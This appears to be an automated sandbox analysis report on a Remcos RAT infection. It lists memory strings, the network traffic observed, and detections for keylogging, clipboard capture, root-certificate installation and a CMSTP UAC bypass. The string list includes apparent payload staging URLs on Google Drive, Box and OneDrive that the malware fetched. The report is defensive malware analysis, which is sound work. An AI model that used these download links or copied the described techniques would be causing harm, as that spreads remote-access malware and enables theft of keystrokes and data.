Source: sppsvc.pif, 00000009.00000003.1769782636.0000000000779000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Zwx-cn.come0v*.googlesandbox-cn.comh*.safenup.googlesandbox-cn.comc*.gstatic.comrP*.metric.gstatic.comXOm*.gvt1.comC*.gcpcdn.gvt1.comWb*.gvt2.comW*.gcp.gvt2.comi*.url.google.comxpR*.youtube-nocookie.comn*.ytimg.comandroid.com*.android.comW0*.flash.android.comg.cnSgT*.g.cnFg.coy61*.g.co7goo.gl3www.goo.glegoogle-analytics.comhhy*.google-analytics.comXgoogle.comUgooglecommerce.comS*.googlecommerce.commOqggpht.cn3sb*.ggpht.cncurchin.comp*.urchin.comzdpyoutu.beChwyoutube.com*.youtube.com2Zyoutubeeducation.coms9F*.youtubeeducation.comyoutubekids.com*.youtubekids.comB_40yt.beDKZb*.yt.beandroid.clients.google.comTFdeveloper.android.google.cndevelopers.android.google.cn6_fh3Msource.android.google.cnypB2YOdeveloper.chrome.google.cnN9web.developers.google.cnsGX7PMb equals www.youtube.com (Youtube)
Source: unknown DNS traffic detected: queries for: elmauz.box.com
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: kn.exe String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enDisallowedCertLastSyncTimePinR
Source: sppsvc.pif, 00000009.00000003.2527353506.000000000073D000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.2526235320.00000000148A1000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4103265846.0000000000735000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.0000000000746000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4116056398.0000000014911000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Mywiztwu.PIF String found in binary or memory: http://geoplugin.net/json.gp
Source: sppsvc.pif, 00000009.00000002.4117523372.00000000152FB000.00000040.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000019.00000002.2042016371.000000001447B000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gp/C
Source: sppsvc.pif, 00000009.00000003.2527353506.000000000073D000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.0000000000746000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gpn.net/json.gp
Source: sppsvc.pif, 00000009.00000003.2527353506.000000000073D000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gpox.com
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0A
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0X
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0C
Source: sppsvc.pif, 00000009.00000003.1664121633.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, Mywiztwu.PIF, 00000018.00000002.1952084302.0000000002A7B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.pmail.com
Source: kn.exe String found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%ws
Source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr String found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013BBB000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1ZA0hVLfDKlM-5smXwBfb4RnNU-YQkBa6
Source: sppsvc.pif, 00000009.00000002.4103265846.000000000071B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1ZA0hVLfDKlM-5smXwBfb4RnNU-YQkBa6&export=download
Source: sppsvc.pif, 00000009.00000002.4103265846.00000000006EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://elmauz.box.com/public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013BC2000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://elmauz.box.com/shared/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv
Source: kn.exe String found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc
Source: kn.exe String found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/device/
Source: kn.exe String found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/key/
Source: sppsvc.pif, 00000009.00000002.4103265846.0000000000735000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://live.com/V
Source: kn.exe String found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorize
Source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr String found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatah
Source: kn.exe String found in binary or memory: https://login.microsoftonline.com/%s/oauth2/token
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/download?resid=BAF30C9243AC3050%21114&authkey=
Source: sppsvc.pif, 00000009.00000003.1723811939.000000000077D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://public.boxcloud.com/d/1/b1
Source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: sppsvc.pif, 00000009.00000003.2527353506.0000000000764000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4104133533.0000000000764000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sf0kkw.by.files.1drv.com/
Source: sppsvc.pif, 00000009.00000002.4103265846.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.2527196256.000000000076E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sf0kkw.by.files.1drv.com/y4mJD7T-efm99Mj7M3bDWK61C5J_9E0cWaFQ8_Sv_xuuCr4GLOJRyaqXhymO2SZPGok
Source: sppsvc.pif, 00000009.00000002.4103265846.0000000000728000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sf0kkw.by.files.1drv.com/y4mvIQn78bXO0uvUkh3kArWIhM3caELUIcFjkkKi4lmUsvh-b99o_L_XVqpG75xc3fv
Source: sppsvc.pif, 00000009.00000002.4103265846.0000000000728000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sf0kkw.by.files.1drv.com:443/y4mJD7T-efm99Mj7M3bDWK61C5J_9E0cWaFQ8_Sv_xuuCr4GLOJRyaqXhymO2SZ
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown HTTPS traffic detected: 74.112.186.144:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 74.112.186.144:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 74.112.186.128:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.101.102:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.101.132:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.4:49739 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to register a low level keyboard hook
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529A2B8 SetWindowsHookExA 0000000D,1529A2A4,00000000 9_2_1529A2B8
Installs a global keyboard hook
Source: C:\Users\Public\Libraries\sppsvc.pif Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\sppsvc.pif Jump to behavior
Contains functionality for read data from the clipboard
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529B70E OpenClipboard,GetClipboardData,CloseClipboard, 9_2_1529B70E
Contains functionality to modify clipboard data
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145668C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 24_2_145668C1
Contains functionality to read the clipboard data
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529B70E OpenClipboard,GetClipboardData,CloseClipboard, 9_2_1529B70E
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx, 9_2_1529A3E0
Yara detected Keylogger Generic
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.2031904948.0000000000704000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2527196256.000000000076E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sppsvc.pif PID: 3664, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 3060, type: MEMORYSTR
Registers a new ROOT certificate
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DB684 CertCompareCertificateName,#357,#357,CertEnumCertificatesInStore,CertCompareCertificateName,CertComparePublicKeyInfo,memcmp,#357,CertEnumCertificatesInStore,#357,CertFreeCertificateContext,CertAddCertificateContextToStore,GetLastError, 6_2_00007FF6658DB684

Spam, unwanted Advertisements and Ransom Demands
barindex
Contains functionalty to change the wallpaper
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152AC9E2 SystemParametersInfoW, 9_2_152AC9E2
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E25E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey, 6_2_00007FF6658E25E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595A740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext, 6_2_00007FF66595A740
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591E1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject, 6_2_00007FF66591E1F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920EF4 NCryptImportKey,#205,#359,#359,#357, 6_2_00007FF665920EF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956EA8 NCryptImportKey,#360, 6_2_00007FF665956EA8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665910F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext, 6_2_00007FF665910F58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590EA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash, 6_2_00007FF66590EA7C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E29A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey, 6_2_00007FF6658E29A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree, 6_2_00007FF66591184C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659598B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext, 6_2_00007FF6659598B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF66592342C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659593A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext, 6_2_00007FF6659593A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AF9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree, 6_2_00007FF6658AF9B8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BFC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357, 6_2_00007FF6658BFC20

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000009.00000002.4117523372.00000000152FB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
